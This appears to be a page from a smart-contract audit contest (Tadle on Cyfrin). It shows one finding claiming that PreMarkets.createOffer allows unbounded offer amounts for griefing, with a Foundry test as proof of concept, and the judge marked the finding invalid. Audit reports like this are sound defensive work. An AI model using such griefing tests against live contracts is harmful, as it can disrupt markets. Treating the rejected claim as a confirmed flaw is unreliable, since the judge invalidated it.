Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: medium
Invalid

Griefing Attack Via Unbounded Large Offers Enables Market Manipulation

cheatcode

Summary

The PreMarkets contract allows the creation of offers with unbounded amounts, which can be exploited to perform a griefing attack on the system. An attacker can create extremely large offers that are practically impossible to settle, leading to market manipulation and resource exhaustion.

Code:

https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/PreMarkets.sol#L39

Vulnerability Details

The createOffer function in the PreMarkets contract does not impose any upper limit on the offer amount. This allows malicious actors to create offers with extremely large amounts that the system cannot handle effectively.

Impact

The ability to create unbounded large offers in the PreMarkets contract can be exploited to manipulate the market by artificially inflating supply or demand. This can lead to skewed market perceptions, potentially influencing prices and participant behavior.

Mitigation

Add time limits for offer settlement, after which offers can be forcibly cancelled or partially settled.

Proof of Concept

function test_griefing_attack_large_offer() public {
uint256 extremelyLargeAmount = type(uint256).max;
vm.startPrank(user);
​
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
extremelyLargeAmount,
0.01 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
address largeOfferAddr = GenerateAddress.generateOfferAddress(0);
IPerMarkets.OfferInfo memory offerInfo = preMarktes.getOfferInfo(largeOfferAddr);
assertEq(offerInfo.amount, extremelyLargeAmount, "Large offer should be created with max amount");
vm.stopPrank();
vm.prank(user1);
systemConfig.updateMarket(
"Backpack",
address(mockPointToken),
0.01 * 1e18,
block.timestamp - 1,
3600
);
vm.startPrank(user);
mockPointToken.approve(address(tokenManager), type(uint256).max);
vm.expectRevert(); // We expect this to revert due to gas limits or other constraints
deliveryPlace.settleAskMaker(largeOfferAddr, extremelyLargeAmount);
vm.stopPrank();
}
Updates

Lead Judging Commences

0xnevi Lead Judge
12 months ago
0xnevi Lead Judge 12 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.